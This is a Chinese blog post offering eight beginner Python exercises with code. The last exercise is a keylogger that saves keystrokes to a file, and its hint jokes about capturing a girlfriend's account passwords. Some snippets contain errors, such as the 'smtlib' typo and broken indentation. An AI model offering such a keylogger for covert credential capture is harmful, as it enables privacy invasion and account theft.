适合Python练手的8个经典项目,有趣又实用,提升Python编程能力必看!

【python学习笔记】:经典实用小案例(练习版) 提示:控制键盘和鼠标的移动就不得不推荐pynput这个库了,它还可以用于制作键盘记录器,通过读取被按下的键,然后将它们保存在一个文本文件中。(咳咳,想知道女朋友的账号密码的可以好好学习下)​​​​​​​。今天给大家分享的,是一些实战练习的小案例,如果你还是Python小白,可以再看看我前面几篇文章,如果是有了一点基础,那就尝试完成下面这些案例吧!如果游戏者获胜,则增加1分。用Python编写一个脚本,实现将用户在键盘上按过的按键记录下来,并保存在一个文本文件中。安装:win10toast​​​​​​​。 阅读详情
AI摘要

本文分享了八个Python实战练习案例,包括自动发送邮件、猜单词游戏、创建闹钟等,适合有一定基础的学习者进行实践操作。

前言

各位CSDN的朋友们好啊!我是马蒙!

前面发了几篇文章,虽然给我带来了大量的粉丝,但也带来了一些争议(自卑的不敢回复…)!下面截图中的大佬估计是没看过我前面的几篇文章,我只是有一名刚转行不到一年的新人,分享的是我自己经历过的一些学习经验,也确实还没达到这位大佬所说的年薪超过40万,但是我还在努力。我也希望能通过我的分享,给大家带来一些正能量,在放弃边缘的朋友看到了,能继续坚持,坚持努力的朋友看到了,能变得更优秀!

在这里插入图片描述其实也很感谢这位大佬的批评,我的标题确实有些夸张了,我尽量改正,还有有其他地方不够好的,也欢迎所有朋友批评指导。

另外今天给大家分享的,是一些实战练习的小案例,如果你还是Python小白,可以再看看我前面几篇文章,如果是有了一点基础,那就尝试完成下面这些案例吧!


一、自动发送邮件

用Python编写一个可以发送电子邮件的脚本。

提示:email库可用于发送电子邮件。

import smtplib 
from email.message import EmailMessage
email = EmailMessage() ## Creating a object for EmailMessage
email['from'] = 'xyz name'   ## Person who is sending
email['to'] = 'xyz id'       ## Whom we are sending
email['subject'] = 'xyz subject'  ## Subject of email
email.set_content("Xyz content of email") ## content of email
with smtlib.SMTP(host='smtp.gmail.com',port=587)as smtp:     
## sending request to server 
    smtp.ehlo()          ## server object
smtp.starttls()      ## used to send data between server and client
smtp.login("email_id","Password") ## login id and password of gmail   
smtp.send_message(email)   ## Sending email
print("email send")    ## Printing success message

二、Hangman(猜单词的游戏)

用Python创建一个简单的hangman猜单词游戏。

提示:创建一个密码词的列表并随机选择一个单词。将每个单词用下划线“”表示,让用户猜单词,如果用户猜对了,则将用单词替换掉“”。

import time
import random
name = input("What is your name? ")
print ("Hello, " + name, "Time to play hangman!")
time.sleep(1)
print ("Start guessing...\n")
time.sleep(0.5)
## A List Of Secret Words
words = ['python','programming','treasure','creative','medium','horror']
word = random.choice(words)
guesses = ''
turns = 5
while turns > 0:         
    failed = 0             
    for char in word:      
        if char in guesses:    
            print (char,end="")    
        else:
            print ("_",end=""),     
            failed += 1    
    if failed == 0:        
        print ("\nYou won") 
        break              
    guess = input("\nguess a character:") 
    guesses += guess                    
    if guess not in word:  
        turns -= 1        
        print("\nWrong")    
        print("\nYou have", + turns, 'more guesses') 
        if turns == 0:           
            print ("\nYou Lose") 

三、闹钟

用Python编写一个创建闹钟的脚本。

提示:用date-time模块创建闹钟,然后用playsound库播放声音。

from datetime import datetime   
from playsound import playsound
alarm_time = input("Enter the time of alarm to be set:HH:MM:SS\n")
alarm_hour=alarm_time[0:2]
alarm_minute=alarm_time[3:5]
alarm_seconds=alarm_time[6:8]
alarm_period = alarm_time[9:11].upper()
print("Setting up alarm..")
while True:
    now = datetime.now()
    current_hour = now.strftime("%I")
    current_minute = now.strftime("%M")
    current_seconds = now.strftime("%S")
    current_period = now.strftime("%p")
    if(alarm_period==current_period):
        if(alarm_hour==current_hour):
            if(alarm_minute==current_minute):
                if(alarm_seconds==current_seconds):
                    print("Wake Up!")
                    playsound('audio.mp3') ## download the alarm sound from link
                    break

四、石头剪刀布游戏

创建一个石头剪刀布的游戏,游戏者与与计算机PK。如果游戏者赢了,得分就会添加,看谁最终的得分最高。

提示:先判断游戏者的选择,然后与计算机的选择进行比较。计算机的选择是从选择列表中随机选取的。如果游戏者获胜,则增加1分。

import random
choices = ["Rock", "Paper", "Scissors"]
computer = random.choice(choices)
player = False
cpu_score = 0
player_score = 0
while True:
    player = input("Rock, Paper or  Scissors?").capitalize()
    # 判断电脑与游戏者的选择
    if player == computer:
        print("Tie!")
    elif player == "Rock":
        if computer == "Paper":
            print("You lose!", computer, "covers", player)
            cpu_score+=1
        else:
            print("You win!", player, "smashes", computer)
            player_score+=1
    elif player == "Paper":
        if computer == "Scissors":
            print("You lose!", computer, "cut", player)
            cpu_score+=1
        else:
            print("You win!", player, "covers", computer)
            player_score+=1
    elif player == "Scissors":
        if computer == "Rock":
            print("You lose...", computer, "smashes", player)
            cpu_score+=1
        else:
            print("You win!", player, "cut", computer)
            player_score+=1
    elif player=='E':
        print("Final Scores:")
        print(f"CPU:{cpu_score}")
        print(f"Plaer:{player_score}")
        break
    else:
        print("That's not a valid play. Check your spelling!")
    computer = random.choice(choices)

五、提醒小工具

利用Python一个提醒小工具,在设定好的时间在桌面做提醒通知。

提示:跟踪提醒时间可以用Time模块,显示桌面通知可以用toastnotifier库。

安装:win10toast

from win10toast import ToastNotifier
import time
toaster = ToastNotifier()
try:
    print("Title of reminder")
    header = input()
    print("Message of reminder")
    text = input()
    print("In how many minutes?")
    time_min = input()
    time_min=float(time_min)
except:
    header = input("Title of reminder\n")
    text = input("Message of remindar\n")
    time_min=float(input("In how many minutes?\n"))
time_min = time_min * 60
print("Setting up reminder..")
time.sleep(2)
print("all set!")
time.sleep(time_min)
toaster.show_toast(f"{header}",
f"{text}",
duration=10,
threaded=True)
while toaster.notification_active(): time.sleep(0.005)     

六、文章朗读器

用Python编写一个脚本,实现自动从提供的链接读取文章的功能。

import pyttsx3
import requests
from bs4 import BeautifulSoup
url = str(input("Paste article url\n"))

def content(url):
  res = requests.get(url)
  soup = BeautifulSoup(res.text,'html.parser')
  articles = []
  for i in range(len(soup.select('.p'))):
    article = soup.select('.p')[i].getText().strip()
    articles.append(article)
    contents = " ".join(articles)
  return contents
engine = pyttsx3.init('sapi5')
voices = engine.getProperty('voices')
engine.setProperty('voice', voices[0].id)

def speak(audio):
  engine.say(audio)
  engine.runAndWait()

contents = content(url)
## print(contents)      ## In case you want to see the content

#engine.save_to_file
#engine.runAndWait() ## In case if you want to save the article as a audio file

七、短网址生成器

用Python编写一个脚本,实现用API缩短指定URL的功能。

from __future__ import with_statement
import contextlib
try:
    from urllib.parse import urlencode
except ImportError:
    from urllib import urlencode
try:
    from urllib.request import urlopen
except ImportError:
    from urllib2 import urlopen
import sys

def make_tiny(url):
    request_url = ('http://tinyurl.com/api-create.php?' + 
    urlencode({'url':url}))
    with contextlib.closing(urlopen(request_url)) as response:
        return response.read().decode('utf-8')

def main():
    for tinyurl in map(make_tiny, sys.argv[1:]):
        print(tinyurl)

if __name__ == '__main__':
    main()

八、键盘记录器

用Python编写一个脚本,实现将用户在键盘上按过的按键记录下来,并保存在一个文本文件中。

提示:控制键盘和鼠标的移动就不得不推荐pynput这个库了,它还可以用于制作键盘记录器,通过读取被按下的键,然后将它们保存在一个文本文件中。(咳咳,想知道女朋友的账号密码的可以好好学习下)

from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()


keys=[]
def on_press(key):
    global keys
    #keys.append(str(key).replace("'",""))
    string = str(key).replace("'","")
    keys.append(string)
    main_string = "".join(keys)
    print(main_string)
    if len(main_string)>15:
      with open('keys.txt', 'a') as f:
          f.write(main_string)   
          keys= []     
def on_release(key):
    if key == Key.esc:
        return False

with listener(on_press=on_press,on_release=on_release) as listener:
    listener.join()

在这里插入图片描述

结语

今天的分享的有些小难度了(对新手来说),如果你还是纯Python新手,建议先看看我前面几篇文章,进行些入门的学习,然后再结合这篇文章分享的案例做实践操作。

好记性不如烂笔头,站在岸上学不会游泳,所以想要真正学会一门编程语言,无他,唯练习、练习、练习!

Python基础全套入门教程以及练习题都放在网盘了,有需要的朋友可以直接拿走!
链接:https://pan.baidu.com/s/1sVwTCM4Ew7JA2KX2al5w1Q
提取码:8888

另外大家有什么问题以及建议,都可以提出在下方评论或者私信我,也可以到我的技术交流群:976191019 找我,关于学习方面的问题,我都会竭尽所能的帮助大家!只希望能得到大家的点赞、关注、和收藏!万分感谢!!

(收藏帅三代,点赞富一生,评论幸福永相伴)

10个非常适合菜鸟练手的Python项目,墙裂建议收藏! 阅读详情

相关推荐

10 个“疯狂”的 Python 项目创意,值得一试!

最棒的是,你可以通过这些有趣但也具有挑战性的项目来增强你的 Python 编程技能。训练完模型后,我们必须计算每个预测的置信水平(Confidence Level),通过检查预测正确的次数来了解机器人的表现,最后还要关注投资回报率(ROI)。这是一个非常基本的 Python 程序,始终监视某个文件夹,每当有文件添加到该文件夹中时,它都会检查其类型并相应地将其移动到特定的文件夹中。你可以添加更多的功能,如人脸检测和识别。Songkick 是一项非常受欢迎的服务,它可以提供有关即将举行的音乐会的信息。

wshyb0314的博客 1593

适合Python练手的8个经典项目,有趣又实用,提升Python编程能力必看

今天给大家分享的,是一些实战练习的小案例,如果你还是Python小白,可以再看看我前面几篇文章,如果是有了一点基础,那就尝试完成下面这些案例吧!

Python966的博客 1万+

【Python自学必备】8个实用又有趣的Python经典练手项目,每天一个只需一周,轻松提高你的编程能力!先码后看,文末有惊喜!

对于新手学Python而言,基础和高级编程这一块是很重要的,因为如果你没有学过它们,直接去学习某个方向,你将会一脸懵逼,所以这是绕不过的,打好这一块的基础之后,你完全可以无障碍地进阶Python的任何方向。学习资源:以上所有的文件都已经打包好了,需要的朋友请移步文末。

2301_78094860的博客 1841

精选了20个Python实战项目(附源码),拿走就用!零基础练手不二项目!

Python是目前最好的编程语言之一。由于其可读性和对初学者的友好性,已被广泛使用。

轻松学python的博客 1万+

Vivado IP核与约束文件管理指南:解决OOC警告、COE文件丢失与Block Design复用

本文详细介绍了Vivado IP核与约束文件管理的系统化方法,包括解决OOC警告、COE文件丢失与Block Design复用等常见问题。通过IP核锁定机制、分层约束架构和动态约束技术,提升FPGA工程的健壮性和团队协作效率,特别适合中大型项目开发。

weixin_30887919的博客 434

px3 有感分析

px3 后续分析

qq_39707917的博客 3122

学Python可少不了项目练手,这8个小项目有趣又实用,小白也能做出来

贪吃蛇、俄罗斯方块和石头剪刀布等8个小项目练手!

龙叔的博客 1万+

FreeCAD MCP实战:用自然语言驱动AI建模,效率提升10倍

MCP(Model Context Protocol)是一种让AI模型调用外部工具和数据的协议标准,通过标准化通信层解决AI与CAD软件之间的交互难题。其原理是向AI暴露工具清单,AI根据自然语言需求自动选择工具并填充参数。在工程实践中,这一技术显著降低了CAD建模门槛,将重复性操作从手动点击转为语音指令,适用于批量零件生成、参数化设计等场景。FreeCAD作为开源CAD,凭借开放的Python API和脚本化能力,成为落地MCP的理想平台。本文基于FreeCAD MCP的实操经验,分享环境搭建、自然语言建

weixin_31188927的博客 337

Python自学必备,8个经典练手项目,有趣又实用,快速提升python编程能力!

今天给大家分享的,是一些实战练习的小案例,如果你还是Python小白,可以再看看我前面几篇文章,如果是有了一点基础,那就尝试完成下面这些案例吧!用Python编写一个可以发送电子邮件的脚本。提示:email库可用于发送电子邮件。用Python创建一个简单的hangman猜单词游戏。提示:创建一个密码词的列表并随机选择一个单词。将每个单词用下划线“”表示,让用户猜单词,如果用户猜对了,则将用单词替换掉“”。用Python编写一个创建闹钟的脚本。

m0_75067629的博客 3816

高通camera open代码流程(hal到kernel)

内容:简单介绍Camera open代码调用流程,从HAl到kernel。(api1+hal1) 前言 Android camera api和hal对应关系。安卓在版本更新过程中,camera相关代码也经历了几个版本的更新,表现为camera HAL版本更新(HAL1->HAL2->HAL3),camera API版本更新(camera API1->camera API2),接下...

oxoo123的专栏 4279

【2021最新版】Dubbo面试题总结(40道题含答案解析)

文章目录1、为什么要用Dubbo?2、Dubbo的整体架构设计有哪些分层?3、默认使用的是什么通信框架,还有别的选择吗?4、服务调用是阻塞的吗?5、一般使用什么注册中心?还有别的选择吗?6、默认使用什么序列化框架,你知道的还有哪些?7、服务提供者能实现失效踢出是什么原理?8、服务上线怎么不影响旧版本?9、如何解决服务调用链过长的问题?10、说说核心的配置有哪些?11、Dubbo推荐用什么协议?12、同一个服务多个注册的情况下可以直连某一个服务吗?13、画一画服务注册与发现的流程图?14、Dubbo集群容错有

程序媛小琬的博客 1万+

Python自学必备8个经典练手项目,有趣又实用,快速提升Python编程能力!

今天给大家分享的,是一些实战练习的小案例,如果你还是Python小白,可以再看看我前面几篇文章,如果是有了一点基础,那就尝试完成下面这些案例吧!

m0_75067840的博客 999

夯爆了!这两组AI漫剧校园风人物三视图(附详细提示词)

生成一张高清8K图像,图像主体是一位亚洲年轻女性,拥有长直黑发和精致的五官,她穿着一套由白色衬衫、深红色领带、深蓝色牛仔外套和深蓝色牛仔百褶短裙组成的制服,搭配灰色长筒袜和黑色厚底皮鞋。图像由四部分组成,左一为女性特写头像,面部表情自然,眼神柔和,右侧三张图分别展示了女性的正面、侧面和背面全身像,整体构图均衡,遵循三分法则。图像整体呈现出一种类似于3D渲染的摄影风格,背景为纯白色,采用高对比度照明,强调主体细节和质感,色彩调色板以深蓝色和白色为主,整体色调清新自然,注重质感和光影效果的呈现。

欢迎来到鸾姝淡月博客,专为程序员和编程爱好者打造的技术博客。我们分享编程语言趋势、开发工具、编程哲学、职业发展等,助你掌握新技术,优化技能,激发编程热情。 187

gihub上适合练手的Python项目

选择适合自己当前水平的项目,逐步提升技能。可以从基础项目开始,逐步挑战更复杂的任务。同时,参与开源项目可以帮助你学习最佳实践和团队协作。

qq_44534541的博客 2539

2025年美赛数学建模C题 奥运奖牌表的模型研究及Matlab代码

2025年美赛数学建模C题 奥运奖牌表的模型研究及Matlab代码

前程算法屋的博客 175

S7-1500——(一)西门子PLC编程算法及程序设计1、拆解基本算法(一)

顺序队列也是一种操作受限的线性表,在一端添加数据,另一端取出数据,符合先进先出的特性工作过程:需要两个指针来指向存取元素的位置(头指针,尾指针)如下图头指针指向队列里边第一个元素位置(即下次出队元素所在的位置)尾指针是指向队列内最后一个元素的下一个位置(即下次要入队的元素要存放的位置)空队状态:最初始状态,队列没有任何元素,头指针和尾指针都指向队头,(由于没有任何元素,不能做出队操作,可进行入队操作)入队操作出队操作满队:一直入队,最终元素装满队列;满队后,虽然队列前面还有空间,但由于。

大小曲奇的博客 1615

python练手经典100例项目,70个python练手项目列表

我们都知道,不管学习那门语言最终都要做出实际的东西来,而对于编程而言,这个实际的东西当然就是项目啦,不用我多说大家都知道学编程语言做项目的重要性。于是,小编熬了几个通宵,终于整理出了70个清华大佬都在用的Python经典练手项目【附源码】32、【Python气象数据分析--《Python 数据分析实战》】23、【Python3&;66、【Python实现java web项目远端自动化更新部署】11、【基于scrapy爬虫的天气数据采集(python)】31、【Python 3实现Markdown 解析器】

2301_81900494的博客 881

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

练手必备!Python编程实战—23个有趣的实战项目带你快速进阶

最近知乎给我推荐了一个问题,是这样的已经有6.4W关注,700W次浏览,回答都有450条了,本来遇到这种问题我是不会回答的,毕竟已经有太多人给出了答案,我再去回答就没什么意义了。但想了想确实有很多刚学Python的并不清楚从哪里去找项目来练手,于是就有了这篇文章,基于这个目的,我也是找了好久,最后还是选择了分享这份手册,毕竟里面有细致的讲解,确实更适合练手一些。ps:本来是在git上找项目的,但当我拿给一个小伙伴后,他告诉我玩不转git,面对上面的项目更是无从下手,不知道该做什么,很迷茫…

公众号:该用户快成仙了 2085

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

70个python练手项目 下载,python练手经典100例项目

通过上述的十个小案例的分享,可以看到,每个案例中都蕴含着利用Python的内置函数来优化程序的智慧,平时大家在程序编写的过程中,也要善于挖掘和思考,如何充分利用Python的现有函数来让自己的程序更加的优美。【读者福利】小编是一名Python开发工程师,自己整理了一套最新的Python系统学习教程,包括从基础的python脚本到web开发、爬虫、数据分析、数据可视化、机器学习等。如果你也喜欢编程,想通过学习Python转行、做副业或者提升工作效率,这份【最新全套Python学习资料】

chatgpt002的博客 447

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

python练手经典100例项目-整理了适合新手的20个Python练手小程序

【程序1】 题目:有1、2、3、4个数字,能组成多少个互不相同且无重复数字的三位数?都是多少? 1.程序分析:可填在百位、十位、个位的数字都是1、2、3、4。组成所有的排列后再去 掉不满足条件的排列。 2.程序源代码: 【程序2】 题目:企业发放的奖金根据利润提成。利润(I)低于或等于10万元时,奖金可提10%;利润高 于10万元,低于20万元时,低于10万元的部分按10%提成,高于10万元的部分,可可提 成7.5%;20万到40万之间时,高于20万元的部分,可提成5%;40万到60万之

m0_60720998的博客 7289

分享10个python实战练手小项目,有源码,有讲解

实践是检验真理的唯一标准,学习python小伙伴们在掌握了一定的python基础后,无不希望能通过实际项目来检验自己的学习成果,锻炼提高自己的编程能力。本文将和你分享10个python实战练手项目,这些项目虽然都很小,但蕴含很多计算机的专业知识,难度适中,不至于初学者无从下手。果真都能认真的学习并实践这10个小项目,相信你的python能力可以提高一大截。

Trb201012的博客 2296
上一篇: 别再乱找教程了!Python自学从入门到工作的教程和学习经验,全都在这里了!
下一篇: 初学者福音!9个最受欢迎的Python编辑器/IDE详解,让你告别枯燥的代码!(附下载地址)
马 蒙
博客等级 码龄5年 2497粉丝 5原创
评论 59
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值